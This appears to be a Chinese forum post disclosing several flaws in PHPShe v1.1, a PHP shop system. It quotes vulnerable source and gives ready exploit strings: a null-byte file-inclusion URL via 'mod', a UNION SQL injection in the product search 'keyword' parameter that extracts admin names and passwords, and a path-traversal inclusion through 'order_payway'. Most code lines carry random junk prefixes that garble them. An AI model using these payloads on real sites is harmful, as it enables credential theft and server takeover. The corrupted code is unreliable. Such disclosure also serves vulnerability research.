phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
0 Z5 J6 m3 D& M, |6 N- G/ u8 }9 A/* Phpshe v1.1 Vulnerability
* Z9 i, E- s3 g/* ========================
) j1 C2 x5 ^4 b3 N) q3 R! i/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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//common.php
2 U$ F' f* Q! Z, M! u3 pif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
7 E0 @4 Y( b, ~# \: {1 q7 {# p* f!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
/ ~: D! ]" X& O1 l!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
/ u) B- H4 C- u: g8 q}
3 z' h" N+ p0 a* x$ Osession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
) F. ^- D" M8 P! Z0 L8 V1 h; G!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
6 k5 c! w0 L$ dinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
! Y# H9 _& P7 B+ a  E" a: k7 Gurl路由配置
! h& W7 v! U( M* B$module = $mod = $act = 'index';
( u, x* R( j- d1 b, ?5 P$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
; G' s3 ?8 o) n/ W* A8 s9 T  e$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
! E1 g% S4 ~9 w' U# Z* X1 A+ ~0 D+ I2 b$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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3 ^5 Y6 j2 y) U$ m5 E( g8 @ 0×02 搜索注入

<code id="code2">

//product.php文件
% D' g! y2 T6 Y" g! Gcase 'list':
3 @: b/ [/ X8 M6 Z' L, [% O8 `! t$category_id = intval($id);
8 g' W; x! h+ R$info = $db->pe_select('category', array('category_id'=>$category_id));
3 L5 r9 b+ ^. s$ {: x( r1 s//搜索
$sqlwhere = " and `product_state` = 1";
# ~) O3 ?! ~! S& Rpe_lead('hook/category.hook.php');
if ($category_id) {
9 p  c# q  k* x  m% }where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
9 L$ q3 F: N5 l4 Z$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
3 a8 ^/ e9 ~8 ^- F8 n# {$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
# I0 z& ^  ~4 v, I$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
  |2 q9 x+ l: O9 L* Z//热卖排行
$ l. u2 V% \! _" Y" ?$product_hotlist = product_hotlist();
! t$ C7 g! L7 ^0 ?" O/ z" N//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
  L" N0 |4 V8 y5 qinclude(pe_tpl('product_list.html'));
* x% R  w* E# x7 r  c//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
. a+ r3 o1 O6 Q{
//处理条件语句
3 {$ Q3 _/ r, P& F( g3 W& d$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
, u" Y" B. u! l0 J$ s+ r' K}
0 @! j) {; B8 |& I3 |3 R% G//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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' ], F# U: `& @) c8 L4 y3 f0×03 包含漏洞2
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3 F& O3 a: r% P7 a+ E+ C! F- _<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

4 \4 v# G/ C4 O% r; K6 o9 \6 n, q$cache_payway = cache::get('payway');

5 j9 u# E7 p1 [foreach($cache_payway as $k => $v) {

5 L1 {, W' O. \( p$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

% F5 ?9 t& F8 c1 m" {4 k9 z3 Vif ($k == 'bank') {

) I) M) @4 g& S. e% N1 t, T$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

, D9 O6 K  P7 d- m1 S8 v2 s3 jif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$ O1 ^4 e' A2 }$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

  w! K3 r3 |& e8 t8 Z1 M! s, Mforeach ($info_list as $v) {

; `' G8 p$ _/ F$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

$ V3 G- T1 b! |0 J- ?include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

) m0 E1 p$ F7 F: C  m  W) ?  @" selse {

: Y! y( l$ E  ?: @' B( ape_error('支付错误...');

}

}

( a- f  v/ G9 e9 F: U1 N4 G9 k$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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